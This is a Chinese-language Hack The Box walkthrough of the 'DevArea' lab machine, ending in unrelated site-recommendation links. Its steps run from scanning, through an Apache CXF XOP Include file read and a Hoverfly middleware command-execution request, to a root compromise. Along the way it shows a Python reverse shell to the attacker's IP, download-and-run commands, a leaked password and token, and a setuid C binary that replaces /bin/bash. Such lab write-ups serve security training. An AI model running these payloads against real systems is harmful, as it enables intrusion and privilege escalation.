HTB - DevArea

复制代码
10.129.13.46

nmap扫描

复制代码
sudo nmap --top-ports 10000 10.129.13.46 --min-rate=1000 -oA ips_quick_TCP_nmapscan && sudo nmap --top-ports 10000 10.129.13.46 --min-rate=1000 -sU -oA ips_quick_UDP_nmapscan && nmap -p- 10.129.13.46 -oA ips_full_TCP_nmapscan --min-rate=1000 && sudo nmap -p- 10.129.13.46 -sU -oA ips_full_UDP_nmapscan --min-rate=1000

详细nmap扫描

复制代码
nmap -sV -sC -p21,22,80,8080,8500,8888 --min-rate=1000 10.129.13.46 -vv -Pn

写入hosts

复制代码
echo '10.129.13.46 devarea.htb' | sudo tee -a /etc/hosts

窃取所有ftp内容

复制代码
wget -m ftp://anonymous:anonymous@devarea.htb

vhost扫描

复制代码
ffuf -w /home/kali/Desktop/Info/SecLists-master/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://devarea.htb/ -H 'Host: FUZZ.devarea.htb' -mc all -fw 18

阅读jar文件

复制代码
jd-gui

我们发现其调用了apache.cxf包,该包在google搜索,发现了其SSRF漏洞

https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHECXF-3168315

复制代码
<stringvalue><inc:Include href="http://attackers.site/exploit/payload" xmlns:inc="http://www.w3.org/2004/08/xop/include"/><stringvalue>

我们经过大量GPT的询问和尝试,我们成功了

复制代码
curl -v http://devarea.htb:8080/employeeservice \
  -H 'Content-Type: multipart/related; type="application/xop+xml"; start="<root.message@cxf.apache.org>"; boundary="----=_Part_0"' \
  --data-binary $'------=_Part_0\r
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r
Content-Transfer-Encoding: 8bit\r
Content-ID: <root.message@cxf.apache.org>\r
\r
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <confidential>false</confidential>
            <content>
              <xop:Include href="file:///etc/passwd"
                xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
            </content>
            <department>IT</department>
            <employeeName>admin</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>\r
------=_Part_0--\r'

本地文件读取-查看服务内容

到这里我们拥有了读取文件的能力,我们进一步查看环境变量和服务情况

复制代码
/etc/systemd/system/hoverfly.service
复制代码
admin O7IJ27MyyXiU

根据文章构建payload

https://github.com/advisories/GHSA-r4h8-hfp2-ggmf

复制代码
PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: devarea.htb:8888
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODU4OTA4MDIsImlhdCI6MTc3NDg1MDgwMiwic3ViIjoiIiwidXNlcm5hbWUiOiJhZG1pbiJ9.GFENH5Z1jDQpYmWg8m-iC84_DGqiaahDeKb6t4212E9whLyiF9AzwOphH1RmoLg2T6aWIfO4cwEd7wyIHcMXtA
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Referer: http://devarea.htb:8888/dashboard
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 185

{
    "binary": "/bin/bash",
    "script": "echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDX5jjrKqCHYrBzgvQ5y/Cuk4vbqQZQbmaiPL1ljT5ZB kali@kali' > /home/dev_ryan/.ssh/authorized_keys"
}

我们登录系统

复制代码
ssh -i ~/.ssh/id_ed25519 dev_ryan@devarea.htb

上linpeas和pspy

复制代码
wget http://10.10.15.179/pspy64 && chmod 755 pspy64 && ./pspy64
wget http://10.10.15.179/linpeas.sh && chmod 755 linpeas.sh && ./linpeas.sh

开启SSH隧道

复制代码
ssh -i ~/.ssh/id_ed25519 dev_ryan@devarea.htb -L 0.0.0.0:7777:127.0.0.1:7777 -fN

我们在linpeas中发现了一个关键内容

我们查看了该服务的细节信息

我们可以控制bash,也就意味着我们可以劫持该服务。接着我们查看如何触发该服务,我们看到了plugin .我们发现所有SERVICES数组 中的服务会被开启。我们猜测conf里面会配置相关信息

很好,我们找到了。

也就是说我们可以通过下面的命令触发/bin/bash。

复制代码
sudo /opt/syswatch/syswatch.sh plugin service_monitor.sh

接着劫持/bin/bash,先写好C语言文件 shell.c

复制代码
#include <stdlib.h>
#include <unistd.h>

void main() {
    setuid(0);
    setgid(0);
    system("chown root:root /tmp/bash; chmod +s /tmp/bash");
}

然后编译

复制代码
wget 10.10.15.179/shell.c

gcc -static -o pwn shell.c

我们发现ssh自动开启/bin/bash,这导致我们无法修改文件,所以我们先创建一个sh shell,接着退出ssh,然后修改/bin/bash。

复制代码
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.15.179",80));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' &

成功覆写

复制代码
cp /bin/bash /tmp/bash.bak
cp /bin/bash /tmp/bash
cp pwn /bin/bash

我们再进一步触发

复制代码
sudo /opt/syswatch/syswatch.sh plugin service_monitor.sh

成功root

复制代码
/tmp/bash -p
相关推荐
德迅云安全-上官2 小时前
DDoS 安全防护在企业安全防护中的作用
安全·ddos
王维同学7 小时前
[自学][Windows C++]RunOnceEx 注册表分组键的安全遍历
c++·windows·安全·开源
川石课堂软件测试9 小时前
安全测试|常见SQL注入攻击方式、实例及预防
服务器·数据库·sql·功能测试·测试工具·安全·单元测试
上海云盾-小余9 小时前
中小站点防护避坑:低价高防服务存在的各类安全短板剖析
网络·爬虫·安全·ddos
武子康10 小时前
从恶意 Dataset 到横向移动:一套可落地的 Dataset Processing Threat Model(资产边界 + 威胁枚举 + 5 层控制)
人工智能·安全
见青..11 小时前
phpMyAdmin权限提升
web安全·网络安全·phpmyadmin
羽翼安全11 小时前
企业内网终端可视化风控方案解析,电脑屏幕防泄露系统保障数据资产安全
安全
数据知道12 小时前
邮件安全实战:SPF/DKIM/DMARC 配置与钓鱼绕过
网络·安全·web安全·网络安全·邮件安全
qizayaoshuap12 小时前
# [特殊字符] 密码生成器 — 鸿蒙ArkTS安全算法与密码强度评估系统
java·算法·安全·华为·harmonyos
是Yu欸14 小时前
AI跨模态鉴伪技术实测
人工智能·安全·ai作画·aigc·合合信息·ai-native·waic